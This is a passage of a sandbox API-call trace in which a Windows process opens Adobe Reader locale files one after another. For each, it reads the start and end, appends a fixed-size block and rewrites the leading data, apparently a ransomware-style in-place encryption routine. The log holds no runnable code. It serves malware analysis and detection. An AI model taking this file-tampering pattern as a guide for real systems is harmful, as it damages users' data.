SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.884] WriteFile (in: hFile=0x1ac, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.884] CloseHandle (hObject=0x1ac) returned 1 [0039.884] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\RdLang32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\rdlang32.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.884] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.884] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x148400 [0039.885] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.885] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.885] ReleaseMutex (hMutex=0x128) returned 1 [0039.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SKY", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SKY", lpUsedDefaultChar=0x0) returned 12 [0039.885] ReadFile (in: hFile=0x1ac, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0039.899] ReadFile (in: hFile=0x1ac, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.904] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x147400 [0039.904] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.908] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x147400 [0039.909] WriteFile (in: hFile=0x1ac, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.909] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.909] WriteFile (in: hFile=0x1ac, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0039.910] WriteFile (in: hFile=0x1ac, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.910] CloseHandle (hObject=0x1ac) returned 1 [0039.910] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\WebLink.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\weblink.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.910] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.910] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6e00 [0039.910] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.910] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.910] ReleaseMutex (hMutex=0x128) returned 1 [0039.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.SKY", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.SKY", lpUsedDefaultChar=0x0) returned 11 [0039.910] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.915] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5e00 [0039.915] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.919] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5e00 [0039.920] WriteFile (in: hFile=0x1ac, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.920] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.920] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.920] CloseHandle (hObject=0x1ac) returned 1 [0039.920] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\EScript.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\escript.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.921] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.921] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x9e00 [0039.921] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.921] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.921] ReleaseMutex (hMutex=0x128) returned 1 [0039.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SLV", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SLV", lpUsedDefaultChar=0x0) returned 11 [0039.921] ReadFile (in: hFile=0x1ac, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.924] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x8e00 [0039.924] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.929] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x8e00 [0039.929] WriteFile (in: hFile=0x1ac, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.930] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.930] WriteFile (in: hFile=0x1ac, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.930] CloseHandle (hObject=0x1ac) returned 1 [0039.930] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Search.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\search.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.930] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.930] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x5a00 [0039.930] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.930] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.930] ReleaseMutex (hMutex=0x128) returned 1 [0039.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SLV", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SLV", lpUsedDefaultChar=0x0) returned 10 [0039.931] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.363] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4a00 [0040.363] ReadFile (in: hFile=0x1ac, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.778] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4a00 [0040.778] WriteFile (in: hFile=0x1ac, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.778] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0040.778] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.778] CloseHandle (hObject=0x1ac) returned 1 [0040.778] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Annots.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\annots.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0040.779] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0040.779] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x76c00 [0040.779] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0040.779] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.779] ReleaseMutex (hMutex=0x128) returned 1 [0040.779] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.779] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SVE", cchWideChar=10, lpMultiByteStr=0x1e631cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SVE", lpUsedDefaultChar=0x0) returned 10 [0040.779] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0040.788] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x75c00 [0040.788] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.807] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x75c00 [0040.807] WriteFile (in: hFile=0x1ac, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.807] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0040.807] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0040.808] CloseHandle (hObject=0x1ac) returned 1 [0040.808] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\pddom.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\pddom.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0040.808] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0040.808] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2a00 [0040.808] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0040.808] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.808] ReleaseMutex (hMutex=0x128) returned 1 [0040.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SVE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SVE", cchWideChar=9, lpMultiByteStr=0x1e6302c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.SVE", lpUsedDefaultChar=0x0) returned 9 [0040.808] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.812] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1a00 [0040.812] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.812] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1a00 [0040.812] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.812] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0040.812] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.812] CloseHandle (hObject=0x1ac) returned 1 [0040.812] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Spelling.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\spelling.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0040.813] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0040.813] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2800 [0040.813] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0040.813] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.813] ReleaseMutex (hMutex=0x128) returned 1 [0040.813] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.813] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SVE", cchWideChar=12, lpMultiByteStr=0x1e6326c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SVE", lpUsedDefaultChar=0x0) returned 12 [0040.813] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.859] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1800 [0040.859] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.866] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1800 [0040.866] WriteFile (in: hFile=0x1ac, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.866] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0040.866] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.866] CloseHandle (hObject=0x1ac) returned 1 [0040.866] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\DVA.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\dva.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0040.867] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0040.867] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x4400 [0040.867] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0040.867] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.867] ReleaseMutex (hMutex=0x128) returned 1 [0040.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.TUR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.TUR", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.TUR", 